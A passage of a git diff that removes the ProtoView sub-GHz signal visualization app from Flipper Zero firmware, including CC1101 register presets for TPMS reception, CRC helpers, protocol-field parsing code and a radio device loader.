- radio_begin(app); - if(oldstate == TxRxStateRx) radio_rx(app); -} - -/* ============================= Raw sampling mode ============================= - * This is a special mode that uses a high frequency timer to sample the - * CC1101 pin directly. It's useful for debugging purposes when we want - * to get the raw data from the chip and completely bypass the subghz - * Flipper system. - * ===========================================================================*/ - -void protoview_timer_isr(void* ctx) { - ProtoViewApp* app = ctx; - - bool level = furi_hal_gpio_read(subghz_devices_get_data_gpio(app->radio_device)); - if(app->txrx->last_g0_value != level) { - uint32_t now = DWT->CYCCNT; - uint32_t dur = now - app->txrx->last_g0_change_time; - dur /= furi_hal_cortex_instructions_per_microsecond(); - if(dur > 15000) dur = 15000; - raw_samples_add(RawSamples, app->txrx->last_g0_value, dur); - app->txrx->last_g0_value = level; - app->txrx->last_g0_change_time = now; - } - LL_TIM_ClearFlag_UPDATE(TIM2); -} - -void raw_sampling_worker_start(ProtoViewApp* app) { - UNUSED(app); - - furi_hal_bus_enable(FuriHalBusTIM2); - - LL_TIM_InitTypeDef tim_init = { - .Prescaler = 63, /* CPU frequency is ~64Mhz. */ - .CounterMode = LL_TIM_COUNTERMODE_UP, - .Autoreload = 5, /* Sample every 5 us */ - }; - - LL_TIM_Init(TIM2, &tim_init); - LL_TIM_SetClockSource(TIM2, LL_TIM_CLOCKSOURCE_INTERNAL); - LL_TIM_DisableCounter(TIM2); - LL_TIM_SetCounter(TIM2, 0); - furi_hal_interrupt_set_isr(FuriHalInterruptIdTIM2, protoview_timer_isr, app); - LL_TIM_EnableIT_UPDATE(TIM2); - LL_TIM_EnableCounter(TIM2); - FURI_LOG_E(TAG, "Timer enabled"); -} - -void raw_sampling_worker_stop(ProtoViewApp* app) { - UNUSED(app); - FURI_CRITICAL_ENTER(); - LL_TIM_DisableCounter(TIM2); - LL_TIM_DisableIT_UPDATE(TIM2); - furi_hal_interrupt_set_isr(FuriHalInterruptIdTIM2, NULL, NULL); - furi_hal_bus_disable(FuriHalBusTIM2); - FURI_CRITICAL_EXIT(); -} diff --git a/applications/external/protoview/appicon.png b/applications/external/protoview/appicon.png deleted file mode 100644 index fa7122515..000000000 Binary files a/applications/external/protoview/appicon.png and /dev/null differ diff --git a/applications/external/protoview/application.fam b/applications/external/protoview/application.fam deleted file mode 100644 index 942552daa..000000000 --- a/applications/external/protoview/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="protoview", - name="ProtoView", - apptype=FlipperAppType.EXTERNAL, - entry_point="protoview_app_entry", - requires=["gui"], - stack_size=8*1024, - order=50, - fap_icon="appicon.png", - fap_category="Sub-GHz", - fap_author="@antirez & (fixes by @xMasterX)", - fap_version="1.0", - fap_description="Digital signal detection, visualization, editing and reply tool", -) diff --git a/applications/external/protoview/crc.c b/applications/external/protoview/crc.c deleted file mode 100644 index e99786952..000000000 --- a/applications/external/protoview/crc.c +++ /dev/null @@ -1,36 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include -#include - -/* CRC8 with the specified initialization value 'init' and - * polynomial 'poly'. */ -uint8_t crc8(const uint8_t* data, size_t len, uint8_t init, uint8_t poly) { - uint8_t crc = init; - size_t i, j; - for(i = 0; i < len; i++) { - crc ^= data[i]; - for(j = 0; j < 8; j++) { - if((crc & 0x80) != 0) - crc = (uint8_t)((crc << 1) ^ poly); - else - crc <<= 1; - } - } - return crc; -} - -/* Sum all the specified bytes modulo 256. - * Initialize the sum with 'init' (usually 0). */ -uint8_t sum_bytes(const uint8_t* data, size_t len, uint8_t init) { - for(size_t i = 0; i < len; i++) init += data[i]; - return init; -} - -/* Perform the bitwise xor of all the specified bytes. - * Initialize xor value with 'init' (usually 0). */ -uint8_t xor_bytes(const uint8_t* data, size_t len, uint8_t init) { - for(size_t i = 0; i < len; i++) init ^= data[i]; - return init; -} diff --git a/applications/external/protoview/custom_presets.h b/applications/external/protoview/custom_presets.h deleted file mode 100644 index aa7ac23ad..000000000 --- a/applications/external/protoview/custom_presets.h +++ /dev/null @@ -1,317 +0,0 @@ -#include -/* ========================== DATA RATE SETTINGS =============================== - * - * This is how to configure registers MDMCFG3 and MDMCFG4. - * - * MDMCFG3 is the data rate mantissa, the exponent is in MDMCFG4, - * last 4 bits of the register. - * - * The rate (assuming 26Mhz crystal) is calculated as follows: - * - * ((256+MDMCFG3)*(2^MDMCFG4:0..3bits)) / 2^28 * 26000000. - * - * For instance for the default values of MDMCFG3[0..3] (34) and MDMCFG4 (12): - * - * ((256+34)*(2^12))/(2^28)*26000000 = 115051.2688000000, that is 115KBaud - * - * ============================ BANDWIDTH FILTER =============================== - * - * Bandwidth filter setting: - * - * BW filter as just 16 possibilities depending on how the first nibble - * (first 4 bits) of the MDMCFG4 bits are set. Instead of providing the - * formula, it is simpler to show all the values of the nibble and the - * corresponding bandwidth filter. - * - * 0 812khz - * 1 650khz - * 2 541khz - * 3 464khz - * 4 406khz - * 5 325khz - * 6 270khz - * 7 232khz - * 8 203khz - * 9 162khz - * a 135khz - * b 116khz - * c 102khz - * d 82 khz - * e 68 khz - * f 58 khz - * - * ============================== FSK DEVIATION ================================ - * - * FSK deviation is controlled by the DEVIATION register. In Ruby: - * - * dev = (26000000.0/2**17)*(8+(deviation&7))*(2**(deviation>>4&7)) - * - * deviation&7 (last three bits) is the deviation mantissa, while - * deviation>>4&7 (bits 6,5,4) are the exponent. - * - * Deviations values according to certain configuration of DEVIATION: - * - * 0x04 -> 2.380371 kHz - * 0x24 -> 9.521484 kHz - * 0x34 -> 19.042969 Khz - * 0x40 -> 25.390625 Khz - * 0x43 -> 34.912109 Khz - * 0x45 -> 41.259765 Khz - * 0x47 -> 47.607422 kHz - */ - -/* 20 KBaud, 2FSK, 28.56 kHz deviation, 325 Khz bandwidth filter. */ -static uint8_t protoview_subghz_tpms1_fsk_async_regs[][2] = { - /* GPIO GD0 */ - {CC1101_IOCFG0, 0x0D}, // GD0 as async serial data output/input - - /* Frequency Synthesizer Control */ - {CC1101_FSCTRL1, 0x06}, // IF = (26*10^6) / (2^10) * 0x06 = 152343.75Hz - - /* Packet engine */ - {CC1101_PKTCTRL0, 0x32}, // Async, continious, no whitening - {CC1101_PKTCTRL1, 0x04}, - - // // Modem Configuration - {CC1101_MDMCFG0, 0x00}, - {CC1101_MDMCFG1, 0x02}, - {CC1101_MDMCFG2, - 0x04}, // Format 2-FSK/FM, No preamble/sync, Disable (current optimized). Other code reading TPMS uses GFSK, but should be the same when in RX mode. - {CC1101_MDMCFG3, 0x93}, // Data rate is 20kBaud - {CC1101_MDMCFG4, 0x59}, // Rx bandwidth filter is 325 kHz - {CC1101_DEVIATN, 0x41}, // Deviation 28.56 kHz - - /* Main Radio Control State Machine */ - {CC1101_MCSM0, 0x18}, // Autocalibrate on idle-to-rx/tx, PO_TIMEOUT is 64 cycles(149-155us) - - /* Frequency Offset Compensation Configuration */ - {CC1101_FOCCFG, - 0x16}, // no frequency offset compensation, POST_K same as PRE_K, PRE_K is 4K, GATE is off - - /* Automatic Gain Control */ - {CC1101_AGCCTRL0, - 0x91}, //10 - Medium hysteresis, medium asymmetric dead zone, medium gain ; 01 - 16 samples agc; 00 - Normal AGC, 01 - 8dB boundary - {CC1101_AGCCTRL1, - 0x00}, // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET - {CC1101_AGCCTRL2, 0x07}, // 00 - DVGA all; 000 - MAX LNA+LNA2; 111 - MAIN_TARGET 42 dB - - /* Wake on radio and timeouts control */ - {CC1101_WORCTRL, 0xFB}, // WOR_RES is 2^15 periods (0.91 - 0.94 s) 16.5 - 17.2 hours - - /* Frontend configuration */ - {CC1101_FREND0, 0x10}, // Adjusts current TX LO buffer - {CC1101_FREND1, 0x56}, - - /* End */ - {0, 0}, - - /* CC1101 2FSK PATABLE. */ - {0xC0, 0}, - {0, 0}, - {0, 0}, - {0, 0}}; - -/* This is like the default Flipper OOK 640Khz bandwidth preset, but - * the bandwidth is changed to 10kBaud to accomodate TPMS frequency. */ -static const uint8_t protoview_subghz_tpms2_ook_async_regs[][2] = { - /* GPIO GD0 */ - {CC1101_IOCFG0, 0x0D}, // GD0 as async serial data output/input - - /* FIFO and internals */ - {CC1101_FIFOTHR, 0x07}, // The only important bit is ADC_RETENTION - - /* Packet engine */ - {CC1101_PKTCTRL0, 0x32}, // Async, continious, no whitening - - /* Frequency Synthesizer Control */ - {CC1101_FSCTRL1, 0x06}, // IF = (26*10^6) / (2^10) * 0x06 = 152343.75Hz - - // Modem Configuration - {CC1101_MDMCFG0, 0x00}, // Channel spacing is 25kHz - {CC1101_MDMCFG1, 0x00}, // Channel spacing is 25kHz - {CC1101_MDMCFG2, 0x30}, // Format ASK/OOK, No preamble/sync - {CC1101_MDMCFG3, 0x93}, // Data rate is 10kBaud - {CC1101_MDMCFG4, 0x18}, // Rx BW filter is 650.000kHz - - /* Main Radio Control State Machine */ - {CC1101_MCSM0, 0x18}, // Autocalibrate on idle-to-rx/tx, PO_TIMEOUT is 64 cycles(149-155us) - - /* Frequency Offset Compensation Configuration */ - {CC1101_FOCCFG, - 0x18}, // no frequency offset compensation, POST_K same as PRE_K, PRE_K is 4K, GATE is off - - /* Automatic Gain Control */ - {CC1101_AGCCTRL0, - 0x91}, // 10 - Medium hysteresis, medium asymmetric dead zone, medium gain ; 01 - 16 samples agc; 00 - Normal AGC, 01 - 8dB boundary - {CC1101_AGCCTRL1, - 0x0}, // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET - {CC1101_AGCCTRL2, 0x07}, // 00 - DVGA all; 000 - MAX LNA+LNA2; 111 - MAIN_TARGET 42 dB - - /* Wake on radio and timeouts control */ - {CC1101_WORCTRL, 0xFB}, // WOR_RES is 2^15 periods (0.91 - 0.94 s) 16.5 - 17.2 hours - - /* Frontend configuration */ - {CC1101_FREND0, 0x11}, // Adjusts current TX LO buffer + high is PATABLE[1] - {CC1101_FREND1, 0xB6}, // - - /* End */ - {0, 0}, - - /* CC1101 OOK PATABLE. */ - {0, 0xC0}, - {0, 0}, - {0, 0}, - {0, 0}}; - -/* GFSK 19k dev, 325 Khz filter, 20kBaud. Different AGI settings. - * Works well with Toyota. */ -static uint8_t protoview_subghz_tpms3_gfsk_async_regs[][2] = { - /* GPIO GD0 */ - {CC1101_IOCFG0, 0x0D}, // GD0 as async serial data output/input - - /* Frequency Synthesizer Control */ - {CC1101_FSCTRL1, 0x06}, // IF = (26*10^6) / (2^10) * 0x06 = 152343.75Hz - - /* Packet engine */ - {CC1101_PKTCTRL0, 0x32}, // Async, continious, no whitening - {CC1101_PKTCTRL1, 0x04}, - - // // Modem Configuration - {CC1101_MDMCFG0, 0x00}, - {CC1101_MDMCFG1, 0x02}, // 2 is the channel spacing exponet: not used - {CC1101_MDMCFG2, 0x10}, // GFSK without any other check - {CC1101_MDMCFG3, 0x93}, // Data rate is 20kBaud - {CC1101_MDMCFG4, 0x59}, // Rx bandwidth filter is 325 kHz - {CC1101_DEVIATN, 0x34}, // Deviation 19.04 Khz. - - /* Main Radio Control State Machine */ - {CC1101_MCSM0, 0x18}, // Autocalibrate on idle-to-rx/tx, PO_TIMEOUT is 64 cycles(149-155us) - - /* Frequency Offset Compensation Configuration */ - {CC1101_FOCCFG, - 0x16}, // no frequency offset compensation, POST_K same as PRE_K, PRE_K is 4K, GATE is off - - /* Automatic Gain Control */ - {CC1101_AGCCTRL0, 0x80}, - {CC1101_AGCCTRL1, 0x58}, - {CC1101_AGCCTRL2, 0x87}, - - /* Wake on radio and timeouts control */ - {CC1101_WORCTRL, 0xFB}, // WOR_RES is 2^15 periods (0.91 - 0.94 s) 16.5 - 17.2 hours - - /* Frontend configuration */ - {CC1101_FREND0, 0x10}, // Adjusts current TX LO buffer - {CC1101_FREND1, 0x56}, - - /* End */ - {0, 0}, - - /* CC1101 2FSK PATABLE. */ - {0xC0, 0}, - {0, 0}, - {0, 0}, - {0, 0}}; - -/* 40 KBaud, 2FSK, 28 kHz deviation, 270 Khz bandwidth filter. */ -static uint8_t protoview_subghz_40k_fsk_async_regs[][2] = { - /* GPIO GD0 */ - {CC1101_IOCFG0, 0x0D}, // GD0 as async serial data output/input - - /* Frequency Synthesizer Control */ - {CC1101_FSCTRL1, 0x06}, // IF = (26*10^6) / (2^10) * 0x06 = 152343.75Hz - - /* Packet engine */ - {CC1101_PKTCTRL0, 0x32}, // Async, continious, no whitening - {CC1101_PKTCTRL1, 0x04}, - - // // Modem Configuration - {CC1101_MDMCFG0, 0x00}, - {CC1101_MDMCFG1, 0x02}, - {CC1101_MDMCFG2, - 0x04}, // Format 2-FSK/FM, No preamble/sync, Disable (current optimized). Other code reading TPMS uses GFSK, but should be the same when in RX mode. - {CC1101_MDMCFG3, 0x93}, // Data rate is 40kBaud - {CC1101_MDMCFG4, 0x6A}, // 6 = BW filter 270kHz, A = Data rate exp - {CC1101_DEVIATN, 0x41}, // Deviation 28kHz - - /* Main Radio Control State Machine */ - {CC1101_MCSM0, 0x18}, // Autocalibrate on idle-to-rx/tx, PO_TIMEOUT is 64 cycles(149-155us) - - /* Frequency Offset Compensation Configuration */ - {CC1101_FOCCFG, - 0x16}, // no frequency offset compensation, POST_K same as PRE_K, PRE_K is 4K, GATE is off - - /* Automatic Gain Control */ - {CC1101_AGCCTRL0, - 0x91}, //10 - Medium hysteresis, medium asymmetric dead zone, medium gain ; 01 - 16 samples agc; 00 - Normal AGC, 01 - 8dB boundary - {CC1101_AGCCTRL1, - 0x00}, // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET - {CC1101_AGCCTRL2, 0x07}, // 00 - DVGA all; 000 - MAX LNA+LNA2; 111 - MAIN_TARGET 42 dB - - /* Wake on radio and timeouts control */ - {CC1101_WORCTRL, 0xFB}, // WOR_RES is 2^15 periods (0.91 - 0.94 s) 16.5 - 17.2 hours - - /* Frontend configuration */ - {CC1101_FREND0, 0x10}, // Adjusts current TX LO buffer - {CC1101_FREND1, 0x56}, - - /* End */ - {0, 0}, - - /* CC1101 2FSK PATABLE. */ - {0xC0, 0}, - {0, 0}, - {0, 0}, - {0, 0}}; - -/* This is like the default Flipper OOK 640Khz bandwidth preset, but - * the bandwidth is changed to 40kBaud, in order to receive signals - * with a pulse width ~25us/30us. */ -static const uint8_t protoview_subghz_40k_ook_async_regs[][2] = { - /* GPIO GD0 */ - {CC1101_IOCFG0, 0x0D}, // GD0 as async serial data output/input - - /* FIFO and internals */ - {CC1101_FIFOTHR, 0x07}, // The only important bit is ADC_RETENTION - - /* Packet engine */ - {CC1101_PKTCTRL0, 0x32}, // Async, continious, no whitening - - /* Frequency Synthesizer Control */ - {CC1101_FSCTRL1, 0x06}, // IF = (26*10^6) / (2^10) * 0x06 = 152343.75Hz - - // Modem Configuration - {CC1101_MDMCFG0, 0x00}, // Channel spacing is 25kHz - {CC1101_MDMCFG1, 0x00}, // Channel spacing is 25kHz - {CC1101_MDMCFG2, 0x30}, // Format ASK/OOK, No preamble/sync - {CC1101_MDMCFG3, 0x93}, // Data rate is 40kBaud - {CC1101_MDMCFG4, 0x1A}, // Rx BW filter is 650.000kHz - - /* Main Radio Control State Machine */ - {CC1101_MCSM0, 0x18}, // Autocalibrate on idle-to-rx/tx, PO_TIMEOUT is 64 cycles(149-155us) - - /* Frequency Offset Compensation Configuration */ - {CC1101_FOCCFG, - 0x18}, // no frequency offset compensation, POST_K same as PRE_K, PRE_K is 4K, GATE is off - - /* Automatic Gain Control */ - {CC1101_AGCCTRL0, - 0x91}, // 10 - Medium hysteresis, medium asymmetric dead zone, medium gain ; 01 - 16 samples agc; 00 - Normal AGC, 01 - 8dB boundary - {CC1101_AGCCTRL1, - 0x0}, // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET - {CC1101_AGCCTRL2, 0x07}, // 00 - DVGA all; 000 - MAX LNA+LNA2; 111 - MAIN_TARGET 42 dB - - /* Wake on radio and timeouts control */ - {CC1101_WORCTRL, 0xFB}, // WOR_RES is 2^15 periods (0.91 - 0.94 s) 16.5 - 17.2 hours - - /* Frontend configuration */ - {CC1101_FREND0, 0x11}, // Adjusts current TX LO buffer + high is PATABLE[1] - {CC1101_FREND1, 0xB6}, // - - /* End */ - {0, 0}, - - /* CC1101 OOK PATABLE. */ - {0, 0xC0}, - {0, 0}, - {0, 0}, - {0, 0}}; diff --git a/applications/external/protoview/fields.c b/applications/external/protoview/fields.c deleted file mode 100644 index 18dee6502..000000000 --- a/applications/external/protoview/fields.c +++ /dev/null @@ -1,369 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. - * - * Protocol fields implementation. */ - -#include "app.h" - -/* Create a new field of the specified type. Without populating its - * type-specific value. */ -static ProtoViewField* field_new(ProtoViewFieldType type, const char* name) { - ProtoViewField* f = malloc(sizeof(*f)); - f->type = type; - f->name = strdup(name); - return f; -} - -/* Free only the auxiliary data of a field, used to represent the - * current type. Name and type are not touched. */ -static void field_free_aux_data(ProtoViewField* f) { - switch(f->type) { - case FieldTypeStr: - free(f->str); - break; - case FieldTypeBytes: - free(f->bytes); - break; - default: - break; // Nothing to free for other types. - } -} - -/* Free a field an associated data. */ -static void field_free(ProtoViewField* f) { - field_free_aux_data(f); - free(f->name); - free(f); -} - -/* Return the type of the field as string. */ -const char* field_get_type_name(ProtoViewField* f) { - switch(f->type) { - case FieldTypeStr: - return "str"; - case FieldTypeSignedInt: - return "int"; - case FieldTypeUnsignedInt: - return "uint"; - case FieldTypeBinary: - return "bin"; - case FieldTypeHex: - return "hex"; - case FieldTypeBytes: - return "bytes"; - case FieldTypeFloat: - return "float"; - } - return "unknown"; -} - -/* Set a string representation of the specified field in buf. */ -int field_to_string(char* buf, size_t len, ProtoViewField* f) { - switch(f->type) { - case FieldTypeStr: - return snprintf(buf, len, "%s", f->str); - case FieldTypeSignedInt: - return snprintf(buf, len, "%lld", (long long)f->value); - case FieldTypeUnsignedInt: - return snprintf(buf, len, "%llu", (unsigned long long)f->uvalue); - case FieldTypeBinary: { - uint64_t test_bit = (1 << (f->len - 1)); - uint64_t idx = 0; - while(idx < len - 1 && test_bit) { - buf[idx++] = (f->uvalue & test_bit) ? '1' : '0'; - test_bit >>= 1; - } - buf[idx] = 0; - return idx; - } - case FieldTypeHex: - return snprintf(buf, len, "%*llX", (int)(f->len + 7) / 8, f->uvalue); - case FieldTypeFloat: - return snprintf(buf, len, "%.*f", (int)f->len, (double)f->fvalue); - case FieldTypeBytes: { - uint64_t idx = 0; - while(idx < len - 1 && idx < f->len) { - const char* charset = "0123456789ABCDEF"; - uint32_t nibble = idx & 1 ? (f->bytes[idx / 2] & 0xf) : (f->bytes[idx / 2] >> 4); - buf[idx++] = charset[nibble]; - } - buf[idx] = 0; - return idx; - } - } - return 0; -} - -/* Set the field value from its string representation in 'buf'. - * The field type must already be set and the field should be valid. - * The string represenation 'buf' must be null termianted. Note that - * even when representing binary values containing zero, this values - * are taken as representations, so that would be the string "00" as - * the Bytes type representation. - * - * The function returns true if the filed was successfully set to the - * new value, otherwise if the specified value is invalid for the - * field type, false is returned. */ -bool field_set_from_string(ProtoViewField* f, char* buf, size_t len) { - // Initialize values to zero since the Flipper sscanf() implementation - // is fuzzy... may populate only part of the value. - long long val = 0; - unsigned long long uval = 0; - float fval = 0; - - switch(f->type) { - case FieldTypeStr: - free(f->str); - f->len = len; - f->str = malloc(len + 1); - memcpy(f->str, buf, len + 1); - break; - case FieldTypeSignedInt: - if(!sscanf(buf, "%lld", &val)) return false; - f->value = val; - break; - case FieldTypeUnsignedInt: - if(!sscanf(buf, "%llu", &uval)) return false; - f->uvalue = uval; - break; - case FieldTypeBinary: { - uint64_t bit_to_set = (1 << (len - 1)); - uint64_t idx = 0; - uval = 0; - while(buf[idx]) { - if(buf[idx] == '1') - uval |= bit_to_set; - else if(buf[idx] != '0') - return false; - bit_to_set >>= 1; - idx++; - } - f->uvalue = uval; - } break; - case FieldTypeHex: - if(!sscanf(buf, "%llx", &uval) && !sscanf(buf, "%llX", &uval)) return false; - f->uvalue = uval; - break; - case FieldTypeFloat: - if(!sscanf(buf, "%f", &fval)) return false; - f->fvalue = fval; - break; - case FieldTypeBytes: { - if(len > f->len) return false; - uint64_t idx = 0; - while(buf[idx]) { - uint8_t nibble = 0; - char c = toupper(buf[idx]); - if(c >= '0' && c <= '9') - nibble = c - '0'; - else if(c >= 'A' && c <= 'F') - nibble = 10 + (c - 'A'); - else - return false; - - if(idx & 1) { - f->bytes[idx / 2] = (f->bytes[idx / 2] & 0xF0) | nibble; - } else { - f->bytes[idx / 2] = (f->bytes[idx / 2] & 0x0F) | (nibble << 4); - } - idx++; - } - buf[idx] = 0; - } break; - } - return true; -} - -/* Set the 'dst' field to contain a copy of the value of the 'src' - * field. The field name is not modified. */ -void field_set_from_field(ProtoViewField* dst, ProtoViewField* src) { - field_free_aux_data(dst); - dst->type = src->type; - dst->len = src->len; - switch(src->type) { - case FieldTypeStr: - dst->str = strdup(src->str); - break; - case FieldTypeBytes: - dst->bytes = malloc(src->len); - memcpy(dst->bytes, src->bytes, dst->len); - break; - case FieldTypeSignedInt: - dst->value = src->value; - break; - case FieldTypeUnsignedInt: - case FieldTypeBinary: - case FieldTypeHex: - dst->uvalue = src->uvalue; - break; - case FieldTypeFloat: - dst->fvalue = src->fvalue; - break; - } -} - -/* Increment the specified field value of 'incr'. If the field type - * does not support increments false is returned, otherwise the - * action is performed. */ -bool field_incr_value(ProtoViewField* f, int incr) { - switch(f->type) { - case FieldTypeStr: - return false; - case FieldTypeSignedInt: { - /* Wrap around depending on the number of bits (f->len) - * the integer was declared to have. */ - int64_t max = (1ULL << (f->len - 1)) - 1; - int64_t min = -max - 1; - int64_t v = (int64_t)f->value + incr; - if(v > max) v = min + (v - max - 1); - if(v < min) v = max + (v - min + 1); - f->value = v; - break; - } - case FieldTypeBinary: - case FieldTypeHex: - case FieldTypeUnsignedInt: { - /* Wrap around like for the unsigned case, but here - * is simpler. */ - uint64_t max = (1ULL << f->len) - 1; // Broken for 64 bits. - uint64_t uv = (uint64_t)f->value + incr; - if(uv > max) uv = uv & max; - f->uvalue = uv; - break; - } - case FieldTypeFloat: - f->fvalue += incr; - break; - case FieldTypeBytes: { - // For bytes we only support single unit increments. - if(incr != -1 && incr != 1) return false; - for(int j = f->len - 1; j >= 0; j--) { - uint8_t nibble = (j & 1) ? (f->bytes[j / 2] & 0x0F) : ((f->bytes[j / 2] & 0xF0) >> 4); - - nibble += incr; - nibble &= 0x0F; - - f->bytes[j / 2] = (j & 1) ? ((f->bytes[j / 2] & 0xF0) | nibble) : - ((f->bytes[j / 2] & 0x0F) | (nibble << 4)); - - /* Propagate the operation on overflow of this nibble. */ - if((incr == 1 && nibble == 0) || (incr == -1 && nibble == 0xf)) { - continue; - } - break; // Otherwise stop the loop here. - } - break; - } - } - return true; -} - -/* Free a field set and its contained fields. */ -void fieldset_free(ProtoViewFieldSet* fs) { - for(uint32_t j = 0; j < fs->numfields; j++) field_free(fs->fields[j]); - free(fs->fields); - free(fs); -} - -/* Allocate and init an empty field set. */ -ProtoViewFieldSet* fieldset_new(void) { - ProtoViewFieldSet* fs = malloc(sizeof(*fs)); - fs->numfields = 0; - fs->fields = NULL; - return fs; -} - -/* Append an already allocated field at the end of the specified field set. */ -static void fieldset_add_field(ProtoViewFieldSet* fs, ProtoViewField* field) { - fs->numfields++; - fs->fields = realloc(fs->fields, sizeof(ProtoViewField*) * fs->numfields); - fs->fields[fs->numfields - 1] = field; -} - -/* Allocate and append an integer field. */ -void fieldset_add_int(ProtoViewFieldSet* fs, const char* name, int64_t val, uint8_t bits) { - ProtoViewField* f = field_new(FieldTypeSignedInt, name); - f->value = val; - f->len = bits; - fieldset_add_field(fs, f); -} - -/* Allocate and append an unsigned field. */ -void fieldset_add_uint(ProtoViewFieldSet* fs, const char* name, uint64_t uval, uint8_t bits) { - ProtoViewField* f = field_new(FieldTypeUnsignedInt, name); - f->uvalue = uval; - f->len = bits; - fieldset_add_field(fs, f); -} - -/* Allocate and append a hex field. This is an unsigned number but - * with an hex representation. */ -void fieldset_add_hex(ProtoViewFieldSet* fs, const char* name, uint64_t uval, uint8_t bits) { - ProtoViewField* f = field_new(FieldTypeHex, name); - f->uvalue = uval; - f->len = bits; - fieldset_add_field(fs, f); -} - -/* Allocate and append a bin field. This is an unsigned number but - * with a binary representation. */ -void fieldset_add_bin(ProtoViewFieldSet* fs, const char* name, uint64_t uval, uint8_t bits) { - ProtoViewField* f = field_new(FieldTypeBinary, name); - f->uvalue = uval; - f->len = bits; - fieldset_add_field(fs, f); -} - -/* Allocate and append a string field. The string 's' does not need to point - * to a null terminated string, but must have at least 'len' valid bytes - * starting from the pointer. The field object will be correctly null - * terminated. */ -void fieldset_add_str(ProtoViewFieldSet* fs, const char* name, const char* s, size_t len) { - ProtoViewField* f = field_new(FieldTypeStr, name); - f->len = len; - f->str = malloc(len + 1); - memcpy(f->str, s, len); - f->str[len] = 0; - fieldset_add_field(fs, f); -} - -/* Allocate and append a bytes field. Note that 'count' is specified in - * nibbles (bytes*2). */ -void fieldset_add_bytes( - ProtoViewFieldSet* fs, - const char* name, - const uint8_t* bytes, - uint32_t count_nibbles) { - uint32_t numbytes = (count_nibbles + count_nibbles % 2) / 2; - ProtoViewField* f = field_new(FieldTypeBytes, name); - f->bytes = malloc(numbytes); - memcpy(f->bytes, bytes, numbytes); - f->len = count_nibbles; - fieldset_add_field(fs, f); -} - -/* Allocate and append a float field. */ -void fieldset_add_float( - ProtoViewFieldSet* fs, - const char* name, - float val, - uint32_t digits_after_dot) { - ProtoViewField* f = field_new(FieldTypeFloat, name); - f->fvalue = val; - f->len = digits_after_dot; - fieldset_add_field(fs, f); -} - -/* For each field of the destination filedset 'dst', look for a matching - * field name/type in the source fieldset 'src', and if one is found copy - * its value into the 'dst' field. */ -void fieldset_copy_matching_fields(ProtoViewFieldSet* dst, ProtoViewFieldSet* src) { - for(uint32_t j = 0; j < dst->numfields; j++) { - for(uint32_t i = 0; i < src->numfields; i++) { - if(dst->fields[j]->type == src->fields[i]->type && - !strcmp(dst->fields[j]->name, src->fields[i]->name)) { - field_set_from_field(dst->fields[j], src->fields[i]); - } - } - } -} diff --git a/applications/external/protoview/helpers/radio_device_loader.c b/applications/external/protoview/helpers/radio_device_loader.c deleted file mode 100644 index d2cffde58..000000000 --- a/applications/external/protoview/helpers/radio_device_loader.c +++ /dev/null @@ -1,64 +0,0 @@ -#include "radio_device_loader.h" - -#include -#include - -static void radio_device_loader_power_on() { - uint8_t attempts = 0; - while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { - furi_hal_power_enable_otg(); - //CC1101 power-up time - furi_delay_ms(10); - } -} - -static void radio_device_loader_power_off() { - if(furi_hal_power_is_otg_enabled()) furi_hal_power_disable_otg(); -} - -bool radio_device_loader_is_connect_external(const char* name) { - bool is_connect = false; - bool is_otg_enabled = furi_hal_power_is_otg_enabled(); - - if(!is_otg_enabled) { - radio_device_loader_power_on(); - } - - const SubGhzDevice* device = subghz_devices_get_by_name(name); - if(device) { - is_connect = subghz_devices_is_connect(device); - } - - if(!is_otg_enabled) { - radio_device_loader_power_off(); - } - return is_connect; -} - -const SubGhzDevice* radio_device_loader_set( - const SubGhzDevice* current_radio_device, - SubGhzRadioDeviceType radio_device_type) { - const SubGhzDevice* radio_device; - - if(radio_device_type == SubGhzRadioDeviceTypeExternalCC1101 && - radio_device_loader_is_connect_external(SUBGHZ_DEVICE_CC1101_EXT_NAME)) { - radio_device_loader_power_on(); - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME); - subghz_devices_begin(radio_device); - } else if(current_radio_device == NULL) { - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME); - } else { - radio_device_loader_end(current_radio_device); - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME); - } - - return radio_device; -} - -void radio_device_loader_end(const SubGhzDevice* radio_device) { - furi_assert(radio_device); - radio_device_loader_power_off(); - if(radio_device != subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME)) { - subghz_devices_end(radio_device); - } -} \ No newline at end of file diff --git a/applications/external/protoview/helpers/radio_device_loader.h b/applications/external/protoview/helpers/radio_device_loader.h deleted file mode 100644 index bee4e2c36..000000000 --- a/applications/external/protoview/helpers/radio_device_loader.h +++ /dev/null @@ -1,15 +0,0 @@ -#pragma once - -#include - -/** SubGhzRadioDeviceType */ -typedef enum { - SubGhzRadioDeviceTypeInternal, - SubGhzRadioDeviceTypeExternalCC1101, -} SubGhzRadioDeviceType; - -const SubGhzDevice* radio_device_loader_set( - const SubGhzDevice* current_radio_device, - SubGhzRadioDeviceType radio_device_type); - -void radio_device_loader_end(const SubGhzDevice* radio_device); \ No newline at end of file diff --git a/applications/external/protoview/images/ProtoViewSignal.jpg b/applications/external/protoview/images/ProtoViewSignal.jpg deleted file mode 100644 index 2c1938e7b..000000000 Binary files a/applications/external/protoview/images/ProtoViewSignal.jpg and /dev/null differ diff --git a/applications/external/protoview/images/protoview_1.jpg b/applications/external/protoview/images/protoview_1.jpg deleted file mode 100644 index 10d9d6ec5..000000000 Binary files a/applications/external/protoview/images/protoview_1.jpg and /dev/null differ diff --git a/applications/external/protoview/images/protoview_2.jpg b/applications/external/protoview/images/protoview_2.jpg 